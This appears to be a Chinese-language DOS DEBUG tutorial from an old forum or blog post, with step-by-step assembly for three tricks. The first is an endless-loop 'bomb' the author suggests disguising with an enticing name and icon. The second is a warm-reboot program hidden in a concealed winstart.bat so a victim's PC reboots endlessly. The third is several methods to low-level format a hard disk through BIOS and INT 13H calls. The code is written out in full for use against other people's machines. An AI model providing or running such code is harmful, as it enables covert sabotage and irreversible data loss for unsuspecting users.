debug應用
死迴圈炸彈的編寫
在dos下鍵入debug,進入debug,然後鍵入下面的彙編代碼(分號後是解釋):
-a100
0100:mov dl,1 ;將1調入dl
0102:mov ah,2 ;將2H調入ah
0104:int 21 ;調用21H DOS程式
0106:inc dl ;將dl中的數加1
0108:jmp 102;回到102程式,既返回"mov ah,2"
兩次斷行符號
現在讓我們來產生com檔案,鍵入一下指令:
-n盤符程式名;n和程式名間沒有空格
-rbx;查看bx寄存器
斷行符號;bx為0,不用輸入,就斷行符號
-rcx;查看cx寄存器
:a ;輸入程式位元組數,a(16進位)就是10位元組
-w;寫入程式
好了,現在可以在dos下試試效果了,呵呵,不要打我呀!!!!!!是不是電腦亂叫亂跑呀,哈哈,這是個死迴圈,現在同時按ctrl+break或ctrl+c可以強制停止的,要是在windows下就用滑鼠結束命令提示字元就沒事了.
現在來解釋一下這個程式的實現過程:
把顯示字元的ASCII碼值調入DL寄存器中,把顯示字元的功能號2H調入ah中,執行"int 21"即顯示1H的ASCII碼,"inc dl"就是將dl中的值加一,"jmp 102"就是跳到"mov ah,2"這個程式段,簡單吧,很容易看懂的,這個程式如果再屏蔽掉ctrl,break,c,然後在將視窗最大化,呵呵,那就只能看著自己的"愛機"死迴圈到死機了,你可以給他取個sexlady的名字,再換個性感的表徵圖,現在就可以用它來炸色狼了.呵呵,今天就講這麼多,下次講什麼呢?講炸鍵盤的核心代碼吧,嘿嘿.
讓你的電腦反覆啟動-debug應用(二)
c:/debug boot.com
-a100
-mov ax,0040
-mov ds,ax
-mov si,0072
-mov[si],ax
jmp ffff:0
int 20
-rcx
0014
-w
-q
這個就是暖開機的程式,如果再用.bat檔案讓它自動執行,那麼它就是一個炸彈,讓人家的電腦反覆啟動,可能你會把他添加到autoexec.bat中,但這樣容易被人發現,其實還有一個自動批次檔和autoexe.bat的作用一樣,不過他是在autoexec.bat後執行,檔案名稱叫winstart.bat,這個檔案是許多軟體安裝時產生的臨時檔案,當軟體安裝需要重新啟動然後繼續安裝時,就會在windows目錄下產生這個檔案,安裝完後自動刪除,但如果是你人為添加這個檔案,系統將不把他刪除,這樣你就可以把這個暖開機的程式用這個winstart.bat來讓他每次啟動電腦時自動執行,最好把這個檔案隱藏,一般人是很難想到是這個批次檔在搗亂,嘿嘿,這樣就可以讓人家的電腦反覆啟動不停了.
用DEBUG低格硬碟
方法一:
直接調用ROM BIOS中的低格式化程式。
在很多電腦的ROM BIOS中存放著低格程式。存放地址從C8005H處開始,可以用DEBUG的G命
令直接調用。操作如下:
a:/>debug -g c800:0005
這時螢幕顯示資訊(不同版本的BIOS顯示的資訊不一樣),斷行符號後提示:
current interleave is 3 select new interleave or return fot current
這是要求使用者選擇交叉因子,按斷行符號表示取預設值,螢幕接著提示:
Are you aynameically configuring the drive-answer Y/N
Prss "Y" to begin formatting the drive c: with interleave 03
鍵入Y後,開始低格......
Formatting......
完成後詢問是否處理壞磁軌:
Do you want to format bat trackanswer Y/N?
如沒有就用“N”回答,工具提示:
Format successfull,system will new restart,insert dos diskette in dirve a:
插入系統硬碟到A驅,即可進行分區,進階格式化等操作。
方法二:
BIOS也可以由DOS通過中斷指令來調用。調用INT 13H中斷的7號功能,也可以對硬碟進行
低格,操作如下:
a:/>debug
-a 100
-xxxx:0100 mov ax,0703; 交叉因子為3
-xxxx:0103 mov cx,0001; 0磁軌0扇區起
-xxxx:0106 mov dx,0080; C盤0磁軌
-xxxx:0109 int 13
-xxxx:010B int 3
-xxxx:010D
-G 100 ;從0100處開始執行。
這樣硬碟就被低格了!
方法三:
調用INT 13H的5號功能。
對硬碟調用INT 13H的5號功能只能低格0面0道1扇區,而不必低格整個硬碟,從而使低格
在很短的時間內完成。操作如下:
a:/>debug
-a 100
-xxxx:0100 mov ax,0500;調用5號功能
-xxxx:0103 mov bx,0180;設定緩衝區地址
-xxxx:0106 mov cx,0001;0道1扇區起
-xxxx:0109 mov dx,0080;C盤0磁軌
-xxxx:010B int 13
-xxxx:010D int 3
-E 0180 0 0 0002;寫入參數
-G 100